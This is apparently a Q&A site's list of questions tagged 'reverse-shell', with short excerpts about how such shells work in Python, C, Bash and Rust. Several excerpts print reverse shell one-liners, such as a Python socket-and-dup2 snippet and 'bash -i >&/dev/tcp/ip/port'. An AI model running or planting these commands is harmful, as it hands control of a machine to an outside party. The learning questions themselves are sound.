Questions tagged [reverse-shell]
68 questions
5
votes
1 answer
What is the Rust equivalent of a reverse shell script written in Python?
A reverse shell script in Python normally looks something like this:
import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((\"192.168.1.3\", 6666));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);…

springworks00
- 104
- 15
4
votes
2 answers
Why is dup2 necessary in this C reverse shell code?
I came across this reverse shell code, that is written in c.
main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
…

Dash11235
- 80
- 7
4
votes
2 answers
Bash reverse shell command cron job not working - I give up
I teach Cybersecurity at a university and am writing a lab on Netcat and reverse shells. I have created a cron job that runs a script that connects to my listener. That works fine. Problem is there is too much of a fingerprint with that and the…

C0ntr07
- 51
- 1
- 1
- 9
3
votes
1 answer
what is os.dup2() method for and what is its use
I am learning python and hacking stuff, when I came across the following code snippet:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0);…

biplab
- 45
- 4
3
votes
2 answers
Python Socket TCP connection size limit?
I'm currently creating a TCP based reverse shell(client is on remote computer, connects to local server) that can both send and receive files, and also send shell commands through TCP.
The programs works fine in every other aspect(eg, receive and…

Sean Tang
- 33
- 1
- 5
2
votes
0 answers
I can't Create interactive shell using reverse shell to execute python files
I am trying to execute the python file using reverse shell, where it should ask the input remotely in server while executing 1st.py(which is in clients directory) but instead of that, it is asking in clients terminal.
I am unable to send the(1st.py)…

Rishi Karan Reddy
- 21
- 2
2
votes
1 answer
Java serialization security issues (fail customer's security standards )
I work in a small softwarecompany , we use an agent installed locally which runs on OSGI env to collect data about servers and send them to the main server using ws hhtp request.
Usually we use sbe protocol to encode/decode messages , but it does…

Acciu
- 33
- 3
2
votes
1 answer
subprocess.Popen returns "shell-init: error retrieving current directory"
I have created a simple reverse shell in python using subprocess.Popen(cmd, shell=True) for the client to run commands. However, when I use commands in the user directory, I get a shell-init error. This is what I get when I try to use ls
shell-init:…

YulkyTulky
- 886
- 1
- 6
- 20
2
votes
1 answer
How to interact with a reverse shell in Rust?
OpenBSD's Netcat implementation listens on a port with unix_bind()... basically the same behavior as Rust's TcpListener::bind(). Where I got lost in writing my listen function (emulating nc -l -p ) is how to interact with reverse shells.
As…

springworks00
- 104
- 15
2
votes
1 answer
Bash reverse shell strange behavior
I tried today to understand as much as I could a command (found here) to open a reverse shell on the victim side. Here is it:
bash -i >&/dev/tcp/ip/port 0>&1
However, I didn't completely get why the first redirection is >&. I understood that…

Sacha Kozma
- 23
- 3
2
votes
1 answer
Shell commands get stuck on python 3 but work on python 2
The following is my reverse_shell python code
import os,socket,subprocess,threading
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
def p2s(s, p):
while True:
…

usama
- 141
- 1
- 1
- 9
1
vote
3 answers
How to escape this python eval() function?
So, as part of a challenge I found the following piece of code on a template of an opensource site:
@app.route("/admin", methods=['GET', 'POST'])
def admin():
username = getUsernameFromSecureStorage() or "admin"
passwd =…

TeSteR
- 31
- 3
1
vote
1 answer
Http reverse shell in python: AES and Base64
For a training I am coding a HTTP reverse shell in Python as an exercise.
The training material includes a simple example of a TCP reverse shell which supports AES encryption and I wanted to apply the same to my Http shell.
In the end I managed to…

Sergio
- 25
- 3
1
vote
1 answer
Can Apache HTTP Server allow reverse shelling thanks to the new Log4j vulnerability?
I have an Apache HTTP Server installed on a Centos 8 machine, I would like to know if it uses the Log4j library by virtue of the new vulnerability discovered that is compromising many servers on the web. If so, what would be the procedure to…

Danilo Giovannico
- 315
- 2
- 9
1
vote
0 answers
Python reverse listener using threading
I'm working on a project that requires me to make a Python reverse listener that can send commands to a client that connects to my server, below is my server code and i am stuck on how to get multiple connections from more than just one client at…

Bahar lila
- 35
- 1
- 1
- 5